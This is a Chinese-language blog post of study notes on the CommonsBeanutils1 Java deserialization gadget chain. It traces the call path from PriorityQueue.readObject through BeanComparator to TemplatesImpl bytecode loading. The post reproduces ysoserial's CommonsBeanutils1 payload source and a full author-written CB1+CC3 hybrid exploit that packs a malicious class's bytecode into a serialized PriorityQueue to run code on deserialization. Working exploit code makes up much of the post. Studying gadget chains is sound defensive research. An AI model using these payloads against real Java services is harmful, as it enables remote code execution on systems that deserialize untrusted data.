Featured image of post CommonsBeanutils1学习速记

CommonsBeanutils1学习速记

学习记录

前置知识

TemplatesImpl中的字节码加载流程

1
2
3
TemplatesImpl.newTransformer()
	->TemplatesImpl.getTransletInstance()
		->TemplatesImpl._class[_transletIndex].newInstance()

其中TemplatesImpl._class[_transletIndex]在如下调用栈里的loader.defineClass处进行了类加载

1
2
3
4
5
6
7
TemplatesImpl.newTransformer()
	->TemplatesImpl.getTransletInstance()
		->TemplatesImpl.defineTransletClasses()
			-> 	for (int i = 0; i < classCount; i++) {
					...
                	_class[i] = loader.defineClass(_bytecodes[i]);
                	...

并紧接着进行了类初始化,这样恶意类就可以执行命令了

CommonsBeanutils1

依赖

1
2
3
4
5
		<dependency>
			<groupId>commons-beanutils</groupId>
			<artifactId>commons-beanutils</artifactId>
			<version>1.9.2</version>
		</dependency>

直接贴上ysoserial源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
package ysoserial.payloads;

import java.math.BigInteger;
import java.util.PriorityQueue;

import org.apache.commons.beanutils.BeanComparator;

import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;

@SuppressWarnings({ "rawtypes", "unchecked" })
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"})
@Authors({ Authors.FROHOFF })
public class CommonsBeanutils1 implements ObjectPayload<Object> {

	public Object getObject(final String command) throws Exception {
		final Object templates = Gadgets.createTemplatesImpl(command);
		// mock method name until armed
		final BeanComparator comparator = new BeanComparator("lowestSetBit");

		// create queue with numbers and basic comparator
		final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
		// stub data for replacement later
		queue.add(new BigInteger("1"));
		queue.add(new BigInteger("1"));

		// switch method called by comparator
		Reflections.setFieldValue(comparator, "property", "outputProperties");

		// switch contents of queue
		final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
		queueArray[0] = templates;
		queueArray[1] = templates;

		return queue;
	}

	public static void main(final String[] args) throws Exception {
		PayloadRunner.run(CommonsBeanutils1.class, args);
	}
}

触发的调用栈:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
| PriorityQueue.readObject():795
|   PriorityQueue.heapify():736
|     PriorityQueue.siftDown():687
|       PriorityQueue.siftDownUsingComparator():721
|         BeanComparator.compare():163
|           PropertyUtils.getProperty():464
|             PropertyUtilsBean.getProperty():884
|               PropertyUtilsBean.getNestedProperty():808
|                 PropertyUtilsBean.getSimpleProperty():1267
|                   PropertyUtilsBean.invokeMethod():2116
|                     TemplatesImpl.getOutputProperties():507
|                       TemplatesImpl.newTransformer():486
↓                         TemplatesImpl.getTransletInstance():451

通过PriorityQueue的反序列化入口中的heapify(),调用到BeanComparator.compare()

PriorityQueue类中涉及数据结构是优先级队列,具体实现是二叉堆的结构,默认是小顶堆,可以通过自定义Comparator修改排序比较

image-20250415160035938

image-20250415160047631

image-20250415160445818

image-20250415160455308

image-20250415160527687

BeanComparator.compare()中使用了PropertyUtils.getProperty获取对象obj的属性property,该类的底层实现会去寻找对应属性的getter方法,调用该getter方法,然后获取属性值。

对寻找getter逻辑的库实现代码有兴趣可以看这里,简单来说,库代码只是简单判断了是否以get开头,属性的获取使用到了java内省的功能(内省一般在java框架实现中使用),具体实现在 java.beans.Introspector.getTargetPropertyInfo()中。

image-20250415161234718

被调用的"getter"方法是TemplatesImpl.getOutputProperties()TemplatesImpl.getOutputProperties()里调用了TemplatesImpl.newTransformer(),就接上了前置知识

总结

  1. java.util.PriorityQueue提供readObject() -> compare()

  2. org.apache.commons.beanutils.BeanComparator提供compare()->任意getXXX方法

  3. org.apache.xalan.internal.xsltc.trax.TemplatesImpl提供getTransletInstance()

  4. TemplatesImpl.getTransletInstance()提供了TemplatesImpl.newTransformer()

tips

  • org.apache.xalan.internal.xsltc.trax.TemplatesImpl 也可以为 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

Q&A

理论上,"get".startsWith("get") == true,那么

org.apache.commons.beanutils.BeanComparator提供compare()->任意getXXX方法,那么他能不能用于触发LazyMap.get()

PropertyUtils.getProperty(new LazyMap(),"")

但是 PropertyUtils.getProperty() 会识别到LazyMap是一个Map类,不论如何都不会执行到name.startsWith("get")的判断(执行流直接分叉了)

如果属于Map类且没找到namegetter,会去直接调用Map.get(name),把难题给到Map

此时PropertyUtils.getProperty(new LazyMap(),string)相当于LazyMap.get(string)

但由于PropertyUtils.getProperty()的第二个参数只能是String类型,所以需要搭配ChainedTransformer食用(不使用Transformer[]的前提是LazyMap.get(obj)obj完全可控(至少不能是个String吧喂)

obj至少需要满足是个可控类对象

完整代码(CB1+CC3)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;
import org.apache.commons.collections.comparators.BooleanComparator;
import org.apache.commons.collections.comparators.TransformingComparator;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;


import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;


public class CC4PriorityQueue {
    public static void main(String[] args) throws Exception {

        byte[] bytecode = DynamicCompiler.compileToBytes("com.ldm.Evil");

        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{bytecode});
        setFieldValue(templates, "_name", "ldm");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}),
        };

        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

        final BeanComparator comparator = new BeanComparator("class");
        Comparator booleanComparator = new BooleanComparator(true);
        PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, booleanComparator);
        priorityQueue.add(true);
        priorityQueue.add(false);

        setFieldValue(priorityQueue, "comparator", comparator);
        setFieldValue(comparator, "property", "");
        setFieldValue(priorityQueue, "queue", new Object[]{outerMap,outerMap});


        serialize(priorityQueue);
        unserialize("cchhh.ser");
    }
    
    public static void serialize(Object obj) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cchhh.ser"));
        oos.writeObject(obj);
        oos.close();
    }
    public static Object unserialize(String filename) throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        Object obj = ois.readObject();
        ois.close();
        return obj;
    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field f = obj.getClass().getDeclaredField(fieldName);
        f.setAccessible(true);
        f.set(obj, value);
    }
}

可能不具有实战意义,但是可以检测新手对于链的掌握程度(吧)

Ref

https://github.com/frohoff/ysoserial

Licensed under CC BY-NC-SA 4.0
Dan❤Anan
Built with Hugo
主题 StackJimmy 设计